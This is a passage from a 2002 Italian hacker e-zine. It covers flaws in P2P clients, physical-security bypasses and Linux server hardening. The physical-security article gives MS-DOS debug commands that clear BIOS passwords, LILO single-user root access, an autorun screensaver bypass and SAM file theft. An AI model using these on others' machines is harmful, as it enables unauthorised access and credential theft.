preleva il file contenente la password criptata dell'user | | remoto. | | | | 2.3 Log file | | Ogni trasferimento sara' loggato dal web server compreso l'ip | | dell'attacker, le voci relative ai log sono memorizzate nel file | | Mp3server.log, i lamer sono avvisati :) | | Ecco come appare una voce di tale file: | | | | 13/12/01|13.49.27|127.0.0.1|\file.mp3 | | | | 2.4 Fix | | Tale problema e' stato fixato dalla versione 1.04b3 di Mp3Mystic, | | scaricate sempre la versione piu' aggiornata del programma in modo da | | prevenire le vulnerabilita' conosciute. | | | | 3. Gnutella | | Gnut e' un client per Linux che permette la condivisione di file mp3 con | | altri utenti della rete, lavora da console e implementa il protocollo | | utilizzato dagli altri client Gnutella. | | | | 3.1 HTML Tags Vulnerability | | A differenza dei suoi colleghi questo client e' afflitto da un bug che | | permette ad un attacker di manipolare i nomi dei propri file inserendo | | dei tag html nascosti al fine di causare l'elaborazione di codice | | malizioso da parte di utenti remoti. | | | | 3.2 Exploit | | Inizialmente ero indeciso se rilasciare degli esempi pratici di utilizzo | | di tale bug, mi affido al vostro buon senso sperando che nessuno abusi | | di quanto verra' descritto in seguito... | | | | Per provare questa vulnerabilita' in locale ho generato un file mp3 dal | | nome: | | | | Song.mp3 | | | | Questo nome file contiene al suo interno un meta tag che causa il crash | | di ogni sistema Windows9x in cui tale file compaia all'interno dei | | risultati della propria ricerca e che utilizzi un client vulnerabile per | | accedere alla visualizzazione (esempio Internet Explorer non patchato | | contro il dos device in path name). | | | | Le possibilita' di generare altri file che sfruttino tale vulnerabilita' | | e' limitata solo dai caratteri consentiti nei nomi di file dal vostro | | sistema operativo, tutto sta alla vostra fantasia. | | | | 3.3 Fix | | Il problema e' stato fixato dalla versione 0.4.26 in poi del programma | | Gnut per Linux, aggiornate regolarmente il vostro software e scaricate | | la versione piu' recente disponibile al momento per il programma. | | | | 4. Audiogalaxy | | Il software al momento piu' utilizzato per la condivisione dei file mp3 | | in rete, e' composto da un'interfaccia web based un po' meno intuitiva | | rispetto ai programmi analizzati in precedenza ma offre un panorama di | | canzoni sicuramente superiore ad ogni altro clone. | | | | 4.1 Clear Text Password | | L'applicazione conserva i dati atti al login sotto forma di testo in | | chiaro, permettendo ad un eventuale attacker di entrare in possesso di | | password che potrebbero rappresentare un pericolo per l'integrita' del | | sistema stesso. La malsana abitudine di molti utenti nell'utilizzare la | | medesima password per molteplici applicazioni amplifica il fattore di | | rischio. | | | | (Tratto dal README di Audiogalaxy Linux version 0.520) | | Linux users must create account.txt and shares.txt in their favorite | | text editor before the Satellite will run. The format of account.txt is | | simply email that you used to create an account from the web site on the | | first line. The second line will be your password | | >account.txt | | email | | password | | | | 4.2 Exploit | | E' possibile utilizzare un exploit sul sistema che monta una versione | | vulnerabile di Audiogalaxy al fine di ottenere i permessi necessari per | | prelevare il file account.txt. | | | | 4.3 Fix | | La vulnerabilita' relativa alla versione Win32 del client e' stata | | fissata dalla versione .601W in poi, mentre la versione del client per | | Linux 0.520 (la piu' recente disponibile al momento) resta tutt'ora | | vulnerabile. | | Per limitare il piu' possibile i rischi derivanti dall'uso di tale | | applicazione e' buona regola restringere i permessi associati al file | | account.txt limitandone il solo accesso all'utente root. | | Utilizzare, inoltre, tale password unicamente per Audiogalaxy in modo da | | circoscrivere il problema alla sola applicazione a rischio. | | | | 5. Napster | | Nap e' un client che permette la condivisione di file mp3 con il resto | | della rete, la versione 1.4.4 in particolare presenta una vulnerabilita' | | che risulta al momento fissata. | | Non mi e' stato possibile in alcun modo testare o approfondire tale | | vulnerabilita' a causa della mancata compatibilita' del client di | | vecchia versione con il protocollo utilizzato attualmente sul lato | | server, per tanto mi limitero' a riportare le informazioni reperibili su | | Bugtraq. La funzione sendpack() e' vulnerabile ad un attacco string | | format che permetterebbe ad un eventuale attacker di ideare un file name | | appositamente studiato al fine di guadagnare l'accesso al sistema | | remoto. | | | | 5.1 String Format Attack | | E' possibile sfruttare tale vulnerabilita', dovuta ad un'errata | | dichiarazione della funzione sendpack(), ideando un file name che | | contenga al suo interno uno o piu' caratteri % al fine di alterare la | | normale esecuzione del processo, in tal modo e' possibile accedere allo | | stack associato al fine di reperire i dati relativi al login. | | La funzione incriminata viene richiamata ogni qual volta il programma | | client voglia fornire il database dei file condivisi al server Napster | | remoto. In tal modo al successivo avvio (durante il refresh del | | database) il client che dovesse aver ricevuto un file malizioso | | eseguira' il codice nascosto all'interno dello stesso. | | | | 5.2 Bugtraq Post | | Riporto qui di seguito il post originale comparso su Bugtraq: | | | | [NdR: Vedi allegato 0x09] | | | | 5.3 Fix | | Il problema e' stato fissato dalla versione immediatamente successiva | | alla 1.4.4, e' possibile fare riferimento al ChangeLog per maggiori | | informazioni, ne riporto qui di seguito una parte: | | | | "(2001/01/20) PS1 - fixed a security bug (string format attack): | | calls to sendpack(a, b, c), where c is not a constant string, | | must be replaced by sendpack(a, b, "%s", c). This is because in | | some contexts, c may contain arbitrary data (such as filenames), | | and by embedding '%' characters in c, a cracker could gain | | access to any data on this process's evaluation stack, including | | passwords etc. I found this bug in a posting by gregory duchemin | | to BUGTRAQ@SECURITYFOCUS.COM, archived at | | http://www.shmoo.com/mail/bugtraq/sep00/msg00942.shtml." | | | | 6. Morpheus | | Sono state riscontrate alcune falle nella sicurezza di questo programma | | che permettono un attacco di tipo denial of service atto a consumare la | | banda della vittima, l'applicazione non fornisce alcuna funzione di log | | al fine di riscontrare tali violazioni. | | Inoltre permette ad un utente di reperire informazioni agendo da una | | postazione remota. | | | | 6.1 Denial of Service | | Una volta avviato il programma di sharing verra' posta in listening la | | porta 1214, Morpheus non offre alcun controllo per quanto riguarda il | | numero simultaneo di richieste remote, questo permette ad un attacker di | | occupare l'intera banda della vittima con traffico superfluo. | | Potete trovare il sorgente dell'exploit su Packet Storm | | (http://www.packetstormsecurity.org), il nome dello script e' "km.pl". | | | | 6.2 Client Information | | Il client remoto rivela informazioni sensibili riguardo l'utente. | | E' possibile ricavare tali informazioni telnettandosi all'host sulla | | porta 1214 e fornendo come input la seguente stringa: | | | | GET HTTP/1.0 | | | | l'output fornira' diverse informazioni sul programma server tra cui | | l'username dell'utente remoto. | | | | 6.3 Fix | | Il problema al momento non e' ancora stato fissato, e' consigliabile | | l'uso di un firewall per negare l'accesso alla porta 1214 agli utenti | | indesiderati. In questo caso specifico agli utenti Windows torna utile | | il Conseal PC Firewall che permette una gestione dinamica delle rules. | | | | 7. Risorse | | Packet Storm www.packetstormsecurity.org | | Bugtraq www.securityfocus.com | | New Order www.neworder.box.sk | | Audiogalaxy README | | Nap ChangeLog | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [HACKiNG] #05 - 14/01/2002 | | SiCUREZZA FiSiCA DEi SiSTEMi [E4zy] 0x07/0x23 | +--------------------------------------------------------------------------+ | | | Indice: | | | | 0. Intro | | | | 1. Remote Power up | | 1.1 Requisiti | | 1.2 Teoria | | 1.3 Pratica | | 1.4 Trucchi e suggerimenti | | | | 2. Invalidazione della CMOS | | 2.1 Metodi hardware | | 2.2 Metodi software | | 2.3 Sequenza di boot | | | | 3. LILO | | 3.1 Modalita' singola | | 3.2 Opzione password | | 3.3 Opzione restricted | | | | 4. Blocco della console | | 4.1 Windows screen saver | | 4.2 Linux xlock | | | | 5. Risorse | | | | | | 0. Intro | | In questo articolo intendo illustrare le politiche di protezione che | | vengono comunemente implementate per garantire la sicurezza di sistemi | | che siano esposti fisicamente ad un rischio di intrusione. | | | | 1. Remote Power up | | La celebre frase "un computer sicuro e' un computer spento" rappresenta | | uno dei tanti miti da sfatare in campo di sicurezza informatica, | | avvalendoci di un tool che permetta il packet forging(1) abbiamo la | | possibilita' di assemblare un pacchetto in grado di adempiere a funzioni | | a molti sconosciute, tra queste quella di forzare l'accensione di | | determinate macchine agendo da una postazione remota. | | | | (1)packet forging: ci si riferisce in generale ad una tecnica che | | permette di forgiare pacchetti ad hoc al fine di | | adempiere ad uno scopo preciso | | | | 1.1 Requisiti | | La scheda madre e il BIOS in dotazione sul sistema devono supportare il | | protocollo di "wake-up" e tale opzione deve essere abilitata (sezione | | Power Management nel BIOS Award), i BIOS Award di nuova generazione | | offrono tale funzione. | | La scheda di rete deve essere compatibile con tale protocollo, se e' | | possibile rilevare la presenza di tensione sulla scheda anche a PC | | spento e' probabile che la vostra periferica fornisca tale | | funzionalita', molti dispositivi quali Hub segnalano la presenza di | | tensione su una determinata porta mediante l'accensione di led luminosi | | rendendo ancora piu' semplice tale verifica. | | | | 1.2 Teoria | | E' possibile causare l'accensione di un PC remoto, requisiti permettendo | | (vedi sopra), forgiando un pacchetto che rispecchi la seguente | | struttura: | | | | [ethernet header][IP header][UDP header][Magic sequence][CRCS] | | (dal README del programma Wakeonlan-0.40) | | | | dove il campo indicato come "Magic sequence" verra' assemblato con le | | seguenti modalita': | | | | - un preambolo composto da 6 byte di FFh; | | - almeno sedici ripetizione del MAC address del sistema destinatario; | | | | Mettiamo che il sistema che vogliamo avviare monti una scheda di rete il | | cui indirizzo fisico e' 00:11:22:33:44:55, il campo "Magic sequence" | | sara' cosi' | | composto: | | | | FFFFFFFFFFFF001122334455001122334455001122334455001122334455 | | 001122334455001122334455001122334455001122334455001122334455 | | 001122334455001122334455001122334455001122334455001122334455 | | 001122334455001122334455 | | | | L'interfaccia di rete a cui e' destinato il pacchetto sara' in grado di | | ricevere e interpretare i byte del frame che causeranno l'avvio | | incondizionato del sistema interessato. | | | | 1.3 Pratica | | Per mettere in pratica quanto descritto ho utilizzato il tool | | Wakeonlan-0.40 per Linux, ecco la sintassi fornita a run time dallo | | script stesso: | | | | $ ./wakeonlan | | Usage | | wakeonlan [-h] [-v] [-i IP_address] [-p port] [-f file] | | [[hardware_address] ...] | | | | Options | | -h | | this information | | -v | | dislpays the script version | | -i ip_address | | set the destination IP address | | default: 255.255.255.255 (the limited broadcast address) | | -p port | | set the destination port | | default: 9 (discard port) | | -f file | | uses file as a source of hardware addresses | | | | See also | | wakelan(1) | | | | La rete su cui ho avuto modo di testare questo tool adottava BIOS Award | | di ultima generazione e schede di rete Realtek 8139-series PCI NIC, | | l'indirizzo IP del sistema destinatario era 192.168.1.36: | | | | $ ./wakeonlan -i 192.168.1.36 00:01:02:03:04:05 | | Sending magic packet to 192.168.1.36:9 with 00:01:02:03:04:05 | | | | l'indirizzo MAC e' stato volutamente modificato con uno di fantasia. | | | | 1.4 Trucchi e suggerimenti | | Per permettere l'avvio di tutti gli host facenti parte della rete locale | | interessata si utilizzi l'indirizzo di broadcast della rete, esso varia | | a seconda della classe di riferimento, per l'indirizzo di rete riservato | | utilizzato in precedenza (192.168.0.0) l'indirizzo di broadcast | | corrisponde a 192.168.255.255 | | | | E' possibile instradare un pacchetto verso un host che si trova su una | | rete remota riferendosi all'indirizzo di broadcast della rete stessa, in | | molti casi questo e' impedito dalla maggior parte dei router che non | | instradano il traffico diretto all'indirizzo di broadcast. | | In alternativa possiamo inviare tale pacchetto ad uno degli host attivi | | sulla rete remota, causeremo l'accensione del sistema presente sul | | medesimo segmento di rete il cui indirizzo MAC si trova all'interno del | | nostro frame di wakeup. | | | | 2. Invalidazione della CMOS | | Uno dei metodi piu' comuni consiste nel garantirsi in qualche maniera | | l'accesso al BIOS al fine di manipolare la sequenza di boot del sistema, | | molto spesso tale operazione viene impedita da una password. | | | | 2.1 Metodi hardware | | Tale password e' conservata nella memoria CMOS della scheda madre, una | | batteria permette la permanenza di tali dati nella memoria anche in | | seguito allo spegnimento del sistema, uno dei metodi piu' vecchi | | consiste nella rimozione della batteria della CMOS al fine di causare il | | ripristino dei valori di fabbrica della stessa. | | A mio parere tale metodo risulta quanto meno di difficile attuazione in | | quanto necessita la rimozione del case il che rappresenta nella maggior | | parte dei casi un buon deterrente. | | | | 2.2 Metodi software | | Il seguente esempio e' tratto da un testo scritto da Elf Qrin | | (http://www.ElfQrin.com), questa tecnica permette l'invalidazione | | software del segmento di memoria della CMOS interessato, nel nostro caso | | dell'area intesa alla memorizzazione della password del BIOS. | | A tale scopo ci viene in aiuto il tool Debug di MS-DOS, una volta | | avviato ci serviremo dell'opzione "O" per invalidare l'area di memoria, | | tale procedura varia a seconda della versione del BIOS in vostro | | possesso. Qui di seguito riporto alcuni esempi: | | | | | | ---------------------------------------------------------- | | | BIOS Award | BIOS Phoenix | BIOS generico | | | |------------------|------------------|------------------| | | | C:\>debug | C:\>debug | C:\>debug | | | | -O 70 17 | -O 70 FF | -O 70 2E | | | | -O 71 17 | -O 71 17 | -O 71 FF | | | | -Q | -Q | -Q | | | | | | | | | | | E' consigliabile effettuare tale operazione da MS-DOS puro, sempre che | | le impostazioni permettano il reboot del sistema. | | | | 2.3 Sequenza di boot | | Una volta aggirata tale protezione sara' possibile accedere alle | | impostazione del BIOS e settare una differente sequenza di boot al fine | | di bootare il sistema da un supporto differente (quale il floppy) e | | accedere al filesystem del sistema senza dover sottostare alle | | limitazioni imposte dai permessi. | | Nel caso in cui il sistema in questione sia NT bastera' utilizzare un | | disco di ripristino per bootare in ambiente MS-DOS, a questo punto e' | | necessario utilizzare il driver NTFSDOS per accedere alle partizioni | | NTFS(1) da MS-DOS e prelevare qualsiasi file compreso il SAM(2). | | | | (1)NTFS: e' il filesystem proprietario dei sistemi NT | | (2)SAM: il database che contiene gli hash delle password di un sistema | | NT, e' equivalente al file /etc/passwd (o /etc/shadow) in | | ambiente Unix | | | | 3. LILO | | Un'ulteriore sicurezza ci viene fornita da alcune opzioni che riguardano | | il boot loader, queste impediscono il boot del sistema o eventualmente | | richiedono l'inserimento della password per avviare l'immagine nel qual | | caso si specifichino delle opzioni al prompt del programma LILO. | | | | 3.1 Modalita' singola | | E' possibile infatti, avendo accesso fisico al sistema, fare uso di | | opzioni quali "single" per avviare il sistema in modalita' singolo | | utente ed ottenere la shell di root senza bisogno di dover specificare | | password alcuna. | | Ecco un esempio di quanto ho appena descritto: | | | | LILO boot: [tab] | | linux | | boot: linux single | | Loading linux.... | | | | Dove linux e' il nome dell'immagine che si desidera avviare. | | Per ovviare a tale problema sono state introdotte alcune opzioni che ci | | vengono in aiuto e ci permettono di proteggerci da questo genere di | | problemi. | | | | 3.2 Opzione password | | Possiamo utilizzare tale opzione all'intero del file lilo.conf al fine | | di impedire l'avvio dell'immagine a chi non sia in possesso della | | password; basta aggiungere al file lilo.conf quanto segue: | | | | password= | | | | Dove e' una password scelta da voi. | | Ricordate a questo punto di avviare /sbin/lilo per fare in modo che le | | modifiche abbiano effetto. | | | | NOTA BENE: sarebbe una cosa alquanto stupida dare permessi in lettura al | | file lilo.conf ad utenti che non siano root in quanto la password in | | questione e' conservata senza alcuna criptazione :D Ecco come appare il | | prompt del LILO in seguito alle modifiche apportate: | | | | LILO boot: | | Password: | | | | 3.3 Opzione restricted | | Questa opzione va utilizzata insieme all'opzione password e richiede | | l'inserimento di una password nel caso in cui vengano specificate delle | | opzioni al prompt di LILO, evitando in tal modo spiacevoli sorprese | | dovute all'uso di opzioni quali "single" come descritto precedentemente | | nel corso | | dell'articolo. | | Si aggiunga al file lilo.conf le righe seguenti: | | | | password= | | restricted | | | | Dove e' una password scelta da voi. | | Ancora una volta, prestate attenzione ai permessi del file lilo.conf, | | date accesso in lettura solo e soltanto a root! | | Infine avviare /sbin/lilo per fare in modo che le modifiche abbiano | | effetto. | | | | 4. Blocco della console | | Molto utile nel caso in cui l'utente manifesti il bisogno di abbandonare | | momentaneamente la postazione di lavoro senza necessariamente fare | | logout dal sistema. | | | | 4.1 Windows screen saver | | Molti di voi avranno presente la password dello screen saver di Windows, | | non fidatevi di tale applicazione (non fidatevi di Windows in generale | | :)), e' possibile aggirare tale protezione semplicemente sfruttando | | l'autorun nel caso in cui "Notifica inserimento automatico" sia attivo | | su almeno uno dei lettoti CD-ROM del sistema (impostazione attiva per | | default). | | | | *Vi rimando a un mio precedente articolo comparso su OQ02 - Autorun.inf* | | | | [...]Dobbiamo come prima cosa procurarci un programma in grado di | | decifrare la password dello screensaver e disattivarlo automaticamente | | ad esempio SS-Unlock (http://www.ips-corp.com) oppure SSBypass | | reperibile al sito http://www.amecisco.com/ssbypass.htm. | | A questo punto siamo pronti per masterizzare il nostro cd-rom che | | conterra' nella directory radice il nostro programma e il file | | autorun.inf alla cui voce "open=" sara' specificato il file da eseguire, | | inseriamo il nostro cd-rom nel lettore del pc che desideriamo bypassare | | e come per magia il programma presente sul cd-rom verra' eseguito | | nonostante la presenza dello screensaver e disattivera' lo stesso | | (questo funziona per qualsiasi sistema Windows9x, almeno che non sia | | stata disattivata la voce relativa alla notifica inserimento | | automatico). | | | | 4.2 Linux xlock | | Si comporta analogamente alla password dello screen saver di Windows, | | blocca momentaneamente l'account in modo da impedire ad un | | malintenzionato di usufruire delle credenziale dell'utente. | | Vi sono alcuni problemi legati all'uso di tale programma, in | | particolare: | | | | - vulnerabilita' legate a buffer overflow locali; | | - di default e' setuid root; | | - puo' essere facilmente bypassato nel caso in cui non sia setuid root | | a causa di un comportamento anomalo del programma stesso. | | | | Nel caso in cui xlock non abbia accesso al database shadowato delle | | password, infatti, la sola pressione del tasto enter durante | | l'esecuzione di xlock causera' l'immissione, da parte dello stesso, di | | una stringa vuota all'interno di ~/.xlockrc che sara' considerata | | password valida per lo sblocco di X. | | Per diminuire i rischi dovuti all'uso di xlock e' bene prendere alcuni | | accorgimenti, ovvero creare un gruppo xlock e dare i permessi di accesso | | necessari al file /etc/shadow a tale gruppo, impostare il programma | | setgid xlock che non e' altro che il nome del gruppo che abbiamo appena | | creato, infine togliere il setuid root. | | In questo modo circoscriviamo i problemi legati ad eventuali exploits | | locali e evitiamo che xlock sia facilmente bypassabile. | | | | 5. Risorse | | Security-HOWTO | | Wakeonlan-0.40 README | | How To Bypass BIOS Passwords by Elf Qrin (http://www.ElfQrin.com) | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [HACKiNG] #05 - 14/01/2002 | | PR0TEGGiAM0 iL N0STR0 SERVER [-=Quequero=-] 0x08/0x23 | +--------------------------------------------------------------------------+ | | | Cerchiamo di rendere piu' sicuro il nostro server | | | | Sono pessimista? No, pero' sappiamo tutti che l'unico computer sicuro | | e' quello spento e con la spina staccata, quindi.... | | Il sistema sicuro non esiste, pero' esiste spesso un falso senso di | | sicurezza che e' piu' dannoso di un sistema vulnerabile :) | | Dopo queste perle di saggezza possiamo introdurre qualche buona tecnica | | per aumentare il grado di sicurezza del nostro caro server :)))) | | La prima scelta e' sicuramente il sistema operativo, scarterei | | sicuramente windows in favore di un piu' stabile *BSD o di un piu' | | versatile e comodo Linux, ma tutto e' dettato dalla priorita': se avete | | bisogno di un server che sia stabile come il granito e che non si puo' | | permettere di crashare dopo 2 mesi di uptime, beh, a quel punto OpenBSD | | e FreeBSD (opportunamente patchati per evitare di essere rootati da | | remoto tramite telnet :) faranno egregiamente il loro bel lavoro, se | | invece potete permettervi un eventuale crash ogni due mesi, a quel | | punto possiamo mirare su una comoda linux box. | | Per quella poca esperienza che posso vantare, sceglierei una Slackware | | o una Debian, se il vostro pc deve essere un server allora | | probabilmente non avra' un grande workload e quindi tutti i dieci cd | | bonus della RedHat sarebbero solo superflui, inoltre ricordate che piu' | | e' il software installato sul pc, meno e' la sicurezza. | | La prima cosa da fare e' installare una qualche distribuzione con il | | minor numero di programmi possibile, quindi evitate tutte quelle cose | | che possono sembrare carine ma che di fatto non usereste mai :), | | evitate di installare sendmail e mettete su un bel postfix, per il | | resto possiamo lasciare tutto cosi', poi upgraderemo in seguito. | | Una volta messa su la nostra bella distribuzione dobbiamo fare due cose | | fondamentali: aggiornare il kernel ad una versione stabile (ora siamo | | alla 2.5.1 si presume quindi che il 2.4.x sia in fase di | | stabilizzazione ma anche il 2.2.x e' davvero ottimo) e patcharlo con | | qualcosa per aumentarne la sicurezza...Ma cosa? Ho trovato davvero | | strabilianti la patch della grsecurity (grsecurity.net). Questo gruppo | | ha riunito in un comodo file il lavoro svolto dai ragazzi della PaX e | | quello svolto dai programmatori della OpenWall, l'autore ha anche | | inserito ulteriori migliorie e dopo aver patchato il nostro kernel | | avremo queste features in piu': | | - Lo stack non sara' piu' eseguibile rendendo pertanto estremamente | | difficili da portare a termine tutti i tentativi di Buffer Overflow (o | | cmq andrebbero modificati gli exploit cosa che la maggior parte delle | | persone non sa fare, oltretutto in condizioni _delicate_ non e' proprio | | possibile modificare l'exploit senza minarne il corretto funzionamento) | | - Non sara' possibile inserire codice esterno nella memoria in cui sta | | girando un processo (il free exploit ad esempio) pertanto i propri | | privilegi non potranno esser elevati tramite questa tecnica :) | | - Insieme allo stack non eseguibile avremo anche il supporto per il | | trampoline code e questo ci dara' un'ulteriore difesa | | - La base degli indirizzi che alloca mmap sara' completamente random | | quindi il sistema sara' ulteriormente difficile da exploitare anche | | tramite address-guessing | | - Si ha una comoda protezione verso le temp race conditions (youhuu :P) | | - I PID sono randomizzati :) | | - Tante restrizioni sull'accesso alle directory | | - La macchina non risponde agli ICMP e gli OS Guessing sono | | letteralmente impossibili... | | ....Tanto altro, ma vi rimando al readme di questa splendida patch | | perche' l'autore armato di buona voglia ha fatto anche tanti piccoli | | esempi sicuramente utilissimi. | | Una volta patchato il kernel siamo discretamente piu' sicuri...Ci resta | | da prendere ancora qualche piccolo accorgimento. | | Tanto per cominciare eliminiamo fisicamente telnet e telnetd dal | | sistema, leviamo sendmail se l'avete messo :) togliamo tutti i bit suid | | se non utilizziamo determinati programmi (ad esempio, lpd suid e' | | inutile se non si usa lpd). | | Mettiamo su la release piu' recente di OpenSSH/OpenSSL (mai utilizzare | | versioni vecchie visto che sono quasi tutte vulnerabili anche se gli | | exploit non sono released), installiamo un buon demone ftp (sempre se | | ci serve), io opterei per un ProFTPd anche se le obiezioni potrebbero | | essere tante. Tuteliamoci levando l'accesso anonymous a meno che non | | vogliate metter su un server warez :) o un qualche mirror. | | Disabilitiamo l'accesso remoto da root su tutte le console ad eccezione | | della stty (se invece non avete bisogno di loggarvi come root da remoto | | allora blindatele tutte) aprite /etc/login.defs (per le Slackware): | | | | # If defined, either full pathname of a file containing device names or | | # a ":" delimited list of device names. Root logins will be | | allowed only | | # upon these devices. | | # | | # Inserite questa linea per consentire l'accesso root sulla stty | | o commentatelo | | # per disabilitarla | | CONSOLE /etc/securetty | | #CONSOLE console:tty01:tty02:tty03:tty04 | | | | Sempre smanettando su questo file, fate in modo che non venga mostrata | | la versione del kernel al login, non e' molto, ma e' qualcosa :) | | | | Fatto questo passiamo alla configurazione del firewall, per kernel 2.4 | | e superiori avremo iptables, una configurazione di base potrebbe | | essere questa: | | | | iptables -A INPUT -i eth0 -p tcp -m state --state INVALID -j DROP | | iptables -A INPUT -i eth0 -p udp -m state --state INVALID -j DROP | | iptables -A INPUT -i eth0 -p tcp --syn -m limit 1/second -j ACCEPT | | | | Le prime due rules sono chiare, la terza invece serve per evitare i | | synflood, ovvio che se dovete gestire 100.000 connessioni al giorno su | | un grosso server allora non potete inserire l'ultima rule. | | Se il vostro server non deve accettare connessioni dall'esterno potete | | chiudere tutte le porte, se invece i vostri utenti sono limitati potete | | configurare iptables per accettare solo determinate mask, al contrario, | | se i vostri utenti sono molti, non potete far altro che limitare le | | mask che NON vi piacciono :P, usare i programmi reputati _sicuri_, | | utilizzare meno servizi possibili e limitare pesantemente i permessi di | | accesso (la patch di grsecurity permette tra le tante cose, anche di | | settare una ACL che e' comodissima dal momento che potete decidere | | anche quanta memoria puo' utilizzare per i propri processi un singolo | | utente, cosi da evitare fork bomb). | | Blindate ovviamente la porta delle RPC (111 per chi non lo sapesse) e | | commentate tutto cio' che non vi serve in /etc/inetd.conf (ftp ed altre | | cose e' meglio che le fate partire come standalone). | | Un'ottima idea e' quella di metter su snort (www.snort.org) e | | configurarlo in modo da sniffare tutte le stringhe _caratteristiche_ | | degli exploit (lo shellcode ad esempio). | | Mentre verso l'interno della LAN io metterei uno sniffer tipo ettercap | | (ciao ALoR :)) che ci consente rapidamente di vedere tutto cio' che | | puo' essere anomalo. | | Se avete fatto tutto come descritto, ora dovreste avere uno sistema | | cosi configurato: | | Kernel Patchato, servizi opportunamente filtrati, sniffer verso la rete | | internet e verso l'interno, possibilita' limitata di login root su | | console....Vi pare abbastanza? | | Io dico di no, possiamo fare di meglio, innanzitutto dobbiamo loggare | | tutto quello che avviene sul nostro sistema, opterei per un clone del | | syslog come ad esempio syslog-ng che mi e' sembrato davvero buono, se | | proprio siete paranoici fate come me, mi sono fatto uno scriptino che | | ogni due tre ore mi critta i log cosi' li leggo e li modifico solo | | io :) | | Loggate pesantemente l'attivita' su tutti i servizi piu' usati (come | | ftp) magari utilizzando anche semplicemente iptables in questo modo: | | | | iptables -A INPUT -p tcp -s ! 10.0.0.0/24 --dport 21 -j LOG | | --log-prefix "FTP TCP Access Attempt!" | | | | Dove 10.0.0.0/24 e' la nostra lan, questa rule logga tutti gli accessi | | su ftp, guardate un esempio sulla mia macchina: | | | | Dec 26 11:48:21 xxxxx kernel: FTP TCP Access Attempt! IN=ppp0 OUT= MAC= | | SRC=203.78.94.131 DST=xx.xxx.xx.xxx LEN=40 TOS=0x00 PREC=0x00 TTL=51 | | ID=9927 PROTO=TCP SPT=49853 DPT=21 WINDOW=4096 RES=0x00 SYN URGP=0 | | | | Nel caso invece si logghi una macchina della LAN, si ottiene qualcosa | | come: | | | | Dec 26 21:34:09 xxxxx kernel: FTP Connection AttemptIN=eth0 OUT= | | MAC=00:e0:3c:56:32:27:00:e0:3c:89:14:6b:05:00 SRC=10.0.0.9 DST=10.0.0.1 | | LEN=48 TOS=0x00 PREC=0x00 TTL=128 ID=31415 DF PROTO=TCP SPT=1401 DPT=21 | | WINDOW=16484 RES=0x00 SYN URGP=0 | | | | Questo ci da una panoramica globale su quello che avviene dentro e | | fuori la rete, ora possiamo gia stare poco piu' tranquilli :). | | Se proprio vi va, potete fare una cosa utilissima, i BSD ogni tot ore | | mandano al root una mail con il report di tutti i file suid del | | sistema, l'ideale sarebbe farsi un semplicissimo scriptino che ogni | | 12-24 ore vi manda un report di tutti questi spostamenti su una casella | | esterna (tipo yahoo o hotmail). | | Un esempio potrebbe essere questo, fatto sul momento: | | | | ------------------8<---CUT HERE-----8<--------------------------- | | #!/bin/sh | | find / -type f \( -perm -04000 -o -perm -02000 \) -ls > /tmp/suid | | md5sum /tmp/suid >> /tmp/suid | | cat /tmp/suid | mail root | | ------------------8<---CUT HERE-----8<--------------------------- | | | | Mettetelo nel cron ogni 12 ore e via.... :) | | | | E' stato fatto tutto il possibile per rendere sicuro il nostro | | bel server? | | Naaaa non credo proprio, in realta' si potrebbe fare qualcosa di | | seriamente bello, ovvero rendere il nostro server un MAC (Mandatory | | Access Control), e' un tipo di organizzazione utilizzato sui sistemi | | militari, e' una soluzione un po' laboriosa ma e' davvero strastupenda, | | credo che ne scrivero' presto un tutorial, quindi, antenne dritte | | ragazzi :PPP | | | | Saludosssss | | | | -=Quequero=- | | SpP/Member http://www.spippolatori.org | | UIC Founder http://quequero.cjb.net | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [NETW0RKiNG] #05 - 14/01/2002 | | iNTR0DUZi0NE ALL'iP MASQUERADiNG [Master Kain] 0x09/0x23 | +--------------------------------------------------------------------------+ | | | Salve a tutti, | | mi presento, il mio nome e' Kain, fondatore del kuht, crew che esiste | | dal 'lontano' 1999, la quale e' sempre rimasta anonima, per motivi che | | ora non mi dilungo a spiegare. | | Visto che mi sono licenziato da lavoro il 31, giorno di halloween, e ora | | non ho nulla da fare se non aspettare di andare a lavorare nella grande | | citta' che risponde al nome di Milano, mi sarebbe piaciuto 'raccontare' | | un interessante esperimento, chiamato IP Masquerading. | | | | Molti di voi sapranno gia' di cosa si tratta, detto in parola | | poverissime, si tratta di usare una linux box come router. | | Non sapete cosa sia un router? Beh.. diciamo che e' un 'apparecchietto' | | che messo su una lan, e' dotato di proprio indirizzo IP e viene usato | | come gateway, altamente configurabile (letteralmente 'cancello') per far | | si' che le macchine che fanno parte della nostra lan, navighino | | anch'esse su internet. | | Quando questo avviene potremmo dire che le nostre macchine escono quindi | | 'mascherate' (visto che avranno lo stesso indirizzo IP del nostro | | router, ovviamente). | | Scenderemo in dettaglio sui termini specifici e sulle tecniche piu' | | tardi. | | | | L'IP Masquerading e' ottenuto attraverso le funzionalita' di firewall a | | filtro di pacchetto (PACKET_FILTERING) dei moderni kernel linux. | | In questo mini how-to spieghero' infatti come abilitare l'IP | | Masquerading sotto kernel recenti, vale a dire la serie 2.4.x, mentre se | | avro' tempo e voglia potro' espanderlo anche con i 2.2.x (molta gente | | preferisce la serie 2.2.x alla 2.4.x, ma se usate una moderna | | distribuzione di linux, sicuramente avrete il 2.4.x). | | | | # Ip Masquerading in breve ed esempio teorico | | | | Nei kernel recenti, linux utilizza il programma NETFILTER, attraverso | | una interfaccia chiamata IPTABLES (gia' sentita eh ;) per eseguire il | | packet filtering, la traduzione degli indirizzi di rete (NA , network | | address translation), il masquerading e il port forwarding, molto | | importante. | | | | A chi serve IP Masquerading? | | Beh.. diciamo che serve a gente come me :), poniamo il caso di avere DUE | | computer e una connessione PPP o SLIP di qualsiasi tipo, come modem, | | ADSL, o quanto altro. | | Solo uno di essi puo' essere collegato alla rete, giusto? Bene, facciamo | | una cosa. | | | | > occorrente: 2 schede ethernet (3 per modem adsl o quanto altro), linux | | box che fungera' da server, un client (faremo l'esempio di winzoz), | | connessione internet. | | | | Molto bene, supponiamo che la linux box sia collegata in rete con il | | client windows e possa navigare su internet. | | Noi vogliamo che anche il nostro windows 98, riesca a navigare, | | sfruttando la banda che usa linux, di conseguenza, dovremo attivare una | | sorta di 'condivisione' della connessione internet di linux. | | Questo e' l'esempio della piu' comune LAN 